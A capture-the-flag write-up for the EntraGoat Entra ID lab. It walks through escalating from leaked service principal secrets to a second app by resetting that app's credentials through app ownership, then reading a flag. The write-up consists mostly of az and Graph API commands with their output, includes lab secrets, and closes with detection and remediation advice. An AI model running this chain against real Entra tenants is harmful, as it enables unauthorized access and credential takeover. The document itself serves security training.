EntraGoat: Application Ownership Chain and Credential Bypass
Overview
Scenario: CBA - Certificate Bypass Authority
Technique: Hardcoded SP Credentials → App Ownership Abuse → Credential Addition → Flag Read
Initial Access: Service Principal of the Legacy-Automation-Service app
Outcome: Authenticated as DataSync-Production SP → read flag from extensionAttribute1
Flag: EntraGoat{C3rt_Byp@ss_R00t3d_4dm1n}
Attack Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Source code repository review
↓
Hardcoded SP credentials in legacy_sync_task.ps1
↓
Authenticate as Legacy-Automation-Service
↓
Application.ReadWrite.OwnedBy → owns DataSync-Production
↓
az ad sp credential reset → add credentials to DataSync-Production
↓
Authenticate as DataSync-Production
↓
Organization.ReadWrite.All + Directory.Read.All
↓
Read flag from extensionAttribute1
Step 1- Initial Access: Hardcoded Credentials
Scenario premise: reviewing an old PowerShell repository, found hardcoded credentials in legacy_sync_task.ps1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\users\flare\entragoat\scenarios> ./EntraGoat-Scenario6-Setup.ps1
| ENTRAGOAT SCENARIO 6 - SETUP INITIALIZATION |
| CBA (Certificate Bypass Authority) Root Access Granted |
|--------------------------------------------------------------|
ATTACKER CREDENTIALS:
----------------------------
Password: TheGoatAccess!123
TARGET:
----------------------------
Flag Location: extensionAttribute1
While reviewing an old PowerShell repo, you stumbled upon a
hardcoded secret in a script called 'legacy_sync_task.ps1':
# TODO: Move this to Key Vault someday
$clientId = 'd634139b-ff98-4361-997c-8d46c7e34b92'
$clientSecret = 'Hkz8Q~_0c5h3TJKb21dovDAOJOYA4yCwlgohPc9d'
$tenantId = '97b...'
The commit message says: 'Legacy auth policy automation - DO NOT DELETE'
[+] Scenario 6 setup completed successfully.
Objective: Sign in as the admin user and retrieve the flag.
Hint: That dusty old automation secret? Forgotten by devs, remembered by the backend.
Setup process for Scenario 6 complete.
=====================================================
Authenticated as the service principal:
1
az login --service-principal -u "d634139b-ff98-4361-997c-8d46c7e34b92" -p "Hkz8Q~_0c5h3TJKb21dovDAOJOYA4yCwlgohPc9d" --tenant "97b0.......a3" --allow-no-subscriptions
SP authenticated as Legacy-Automation-Service.
Step 2 - Enumeration
Listed tenant app registrations:
1
2
3
4
5
6
az ad app list --query "[].{Name:displayName, AppID:appId, ObjectID:id}" --output table
Name AppID ObjectID
--------------------------- ------------------------------------ ------------------------------------
DataSync-Production 58680b33-0e6f-4e5a-965c-cb34909b2f43 0470b564-21be-43ab-855b-00a96cff037c
Organization-Config-Manager b306d82f-946d-4a29-affa-a00e249c9e60 50824b49-e02a-41b5-8636-fd9b7f24c237
Legacy-Automation-Service d634139b-ff98-4361-997c-8d46c7e34b92 ddbb3165-76ae-48fb-8d88-7ad749491f28
Three apps found:
DataSync-Production(appId:58680b33)Organization-Config-Manager(appId:b306d82f)Legacy-Automation-Service(appId:d634139b) - our SP
Resolved the correct SP object ID for Legacy-Automation-Service (the appId returns 404 on SP endpoints, need the object ID):
1
2
3
PS C:\users\flare\entragoat\scenarios> az ad sp show --id d634139b-ff98-4361-997c-8d46c7e34b92 --query id -o tsv
1cb38d86-6857-44fc-b4f9-c3c13ae28a09
Checked app role assignments for Legacy-Automation-Service:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
az rest --method GET --url 'https://graph.microsoft.com/v1.0/servicePrincipals/1cb38d86-6857-44fc-b4f9-c3c13ae28a09/appRoleAssignments'
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#appRoleAssignments",
"value": [
{
"appRoleId": "18a4783c-866b-4cc7-a460-3d5e5662c884",
"createdDateTime": "2026-05-13T13:26:00.487872Z",
"deletedDateTime": null,
"id": "ho2zHFdo_ES0-cPBOuKKCVB9_HJQPolEk4qzTT5S43Q",
"principalDisplayName": "Legacy-Automation-Service",
"principalId": "1cb38d86-6857-44fc-b4f9-c3c13ae28a09",
"principalType": "ServicePrincipal",
"resourceDisplayName": "Microsoft Graph",
"resourceId": "216e59bf-6c38-42b9-9211-734fe4d2f3bb"
},
{
"appRoleId": "7ab1d382-f21e-4acd-a863-ba3e13f7da61",
"createdDateTime": "2026-05-13T13:25:55.0917984Z",
"deletedDateTime": null,
"id": "ho2zHFdo_ES0-cPBOuKKCVhxl0cSFGdDuHrDxt5xWfI",
"principalDisplayName": "Legacy-Automation-Service",
"principalId": "1cb38d86-6857-44fc-b4f9-c3c13ae28a09",
"principalType": "ServicePrincipal",
"resourceDisplayName": "Microsoft Graph",
"resourceId": "216e59bf-6c38-42b9-9211-734fe4d2f3bb"
}
]
}
Permissions found:
18a4783c-866b-4cc7-a460-3d5e5662c884→ Application.ReadWrite.OwnedBy7ab1d382-f21e-4acd-a863-ba3e13f7da61→ Directory.Read.All
Application.ReadWrite.OwnedBy allows adding credentials to apps the SP owns.
Checked owned objects:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
PS C:\users\flare\entragoat\scenarios> az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/1cb38d86-6857-44fc-b4f9-c3c13ae28a09/ownedObjects"
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#directoryObjects",
"value": [
{
"@odata.type": "#microsoft.graph.application",
"addIns": [],
"api": {
"acceptMappedClaims": null,
"knownClientApplications": [],
"oauth2PermissionScopes": [],
"preAuthorizedApplications": [],
"requestedAccessTokenVersion": null
},
"appId": "58680b33-0e6f-4e5a-965c-cb34909b2f43",
"appRoles": [],
"applicationTemplateId": null,
"certification": null,
"createdByAppId": "14d82eec-204b-4c2f-b7e8-296a70dab67e",
"createdDateTime": "2026-05-13T13:26:06Z",
"defaultRedirectUri": null,
"deletedDateTime": null,
"description": "Production data synchronization service",
"disabledByMicrosoftStatus": null,
"displayName": "DataSync-Production",
"groupMembershipClaims": null,
"id": "0470b564-21be-43ab-855b-00a96cff037c",
"identifierUris": [],
"info": {
"logoUrl": null,
"marketingUrl": null,
"privacyStatementUrl": null,
"supportUrl": null,
"termsOfServiceUrl": null
....
....
...
{
"@odata.type": "#microsoft.graph.servicePrincipal",
"accountEnabled": true,
"addIns": [],
"alternativeNames": [],
"appDescription": "Production data synchronization service",
"appDisplayName": "DataSync-Production",
"appId": "58680b33-0e6f-4e5a-965c-cb34909b2f43",
"appOwnerOrganizationId": "97b...",
"appRoleAssignmentRequired": false,
"appRoles": [],
"applicationTemplateId": null,
"createdByAppId": "14d82eec-204b-4c2f-b7e8-296a70dab67e",
"createdDateTime": "2026-05-13T13:26:11Z",
"deletedDateTime": null,
"disabledByMicrosoftStatus": null,
"displayName": "DataSync-Production",
"id": "c22216a5-842a-4ad1-a1e4-bffa3b0940c7",
"info": {
"logoUrl": null,
"marketingUrl": null,
"privacyStatementUrl": null,
"supportUrl": null,
"termsOfServiceUrl": null
},
"isDisabled": null,
"keyCredentials": [],
"loginUrl": null,
"logoutUrl": null,
"notes": null,
"notificationEmailAddresses": [],
"oauth2PermissionScopes": [],
"passwordCredentials": [],
"preferredSingleSignOnMode": null,
"preferredTokenSigningKeyThumbprint": null,
"replyUrls": [],
"resourceSpecificApplicationPermissions": [],
"samlSingleSignOnSettings": null,
"servicePrincipalNames": [
"58680b33-0e6f-4e5a-965c-cb34909b2f43"
],
"servicePrincipalType": "Application",
"signInAudience": "AzureADMyOrg",
"tags": [
],
"verifiedPublisher": {
"addedDateTime": null,
"displayName": null,
"verifiedPublisherId": null
}
}
]
}
Legacy-Automation-Service owns DataSync-Production (app object ID: 0470b564, SP object ID: c22216a5).
Checked DataSync-Production’s permissions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\users\flare\entragoat\scenarios> az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/c22216a5-842a-4ad1-a1e4-bffa3b0940c7/appRoleAssignments"
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#appRoleAssignments",
"value": [
{
"appRoleId": "7ab1d382-f21e-4acd-a863-ba3e13f7da61",
"createdDateTime": "2026-05-13T13:26:23.4836144Z",
"deletedDateTime": null,
"id": "pRYiwiqE0Uqh5L_6OwlAx-yg5sTECD1KhQIK__E4OLQ",
"principalDisplayName": "DataSync-Production",
"principalId": "c22216a5-842a-4ad1-a1e4-bffa3b0940c7",
"principalType": "ServicePrincipal",
"resourceDisplayName": "Microsoft Graph",
},
{
"appRoleId": "292d869f-3427-49a8-9dab-8c70152b74e9",
"createdDateTime": "2026-05-13T13:26:18.0711226Z",
"deletedDateTime": null,
"id": "pRYiwiqE0Uqh5L_6OwlAxw7Trxc1WjVHnuBvLtxbDt8",
"principalDisplayName": "DataSync-Production",
"principalId": "c22216a5-842a-4ad1-a1e4-bffa3b0940c7",
"principalType": "ServicePrincipal",
"resourceDisplayName": "Microsoft Graph",
"resourceId": "216e59bf-6c38-42b9-9211-734fe4d2f3bb"
}
]
}
DataSync-Production has:
292d869f-3427-49a8-9dab-8c70152b74e9→ Organization.ReadWrite.All7ab1d382-f21e-4acd-a863-ba3e13f7da61→ Directory.Read.All
Directory.Read.All is sufficient to read extensionAttribute1 from any user.
Step 3 - Credential Addition to Owned App
Used az ad sp credential reset to add credentials to DataSync-Production:
1
az ad sp credential reset --id c22216a5-842a-4ad1-a1e4-bffa3b0940c7
Output:
1
2
3
4
5
{
"appId": "58680b33-0e6f-4e5a-965c-cb34909b2f43",
"password": "cK38Q~KqFXSzSuM_p7qMutiOZ66Mec7RwrakGdvc",
"tenant": "97......ea3"
}
Step 4 - Authenticate as DataSync-Production
1
az login --service-principal -u "58680b33-0e6f-4e5a-965c-cb34909b2f43" -p "cK38Q~KqFXSzSuM_p7qMutiOZ66Mec7RwrakGdvc" --tenant "97b..." --allow-no-subscriptions
Authenticated as DataSync-Production with Organization.ReadWrite.All and Directory.Read.All.
Step 5 - Flag Retrieval
1
az rest --method GET --url "https://graph.microsoft.com/v1.0/users/EntraGoat-admin-s6@REDACTED.onmicrosoft.com?\$select=onPremisesExtensionAttributes"
Flag: EntraGoat{C3rt_Byp@ss_R00t3d_4dm1n}
Key Takeaways
Why this works:
- Hardcoded credentials in source code are a critical finding, service accounts are often over-privileged and never rotated
Application.ReadWrite.OwnedByis a targeted but dangerous permission it scopes write access only to owned apps, making it appear lower risk thanApplication.ReadWrite.All, but in practice it allows credential injection into any app the SP owns- App ownership chains allow lateral movement between service principals without any directory role assignment
Directory.Read.Allis sufficient to read sensitive attributes like extensionAttribute1 which EntraGoat uses to store flags, in real environments these attributes often contain sensitive configuration data
Detection opportunities:
- Service principal credential additions/resets -
Update application - Certificates and secrets managementin Entra audit logs - Authentication from service principals with no recent sign-in history
Directory.Read.AllorOrganization.ReadWrite.Allapplication permissions granted to automation SPs- Access to extensionAttribute properties on privileged accounts outside expected service accounts
- Hardcoded credentials found via SAST tooling or secret scanning (truffleHog, git-secrets)
Remediation:
- Never store credentials in source code use Key Vault or managed identity
- Rotate all secrets that may have been committed to version control
- Review app ownership assignments
Application.ReadWrite.OwnedByon a SP that owns a privileged app is equivalent to owning that app’s credentials - Audit what each service principal can reach via its owned objects, not just its direct permissions
- Enable credential change alerts in Entra ID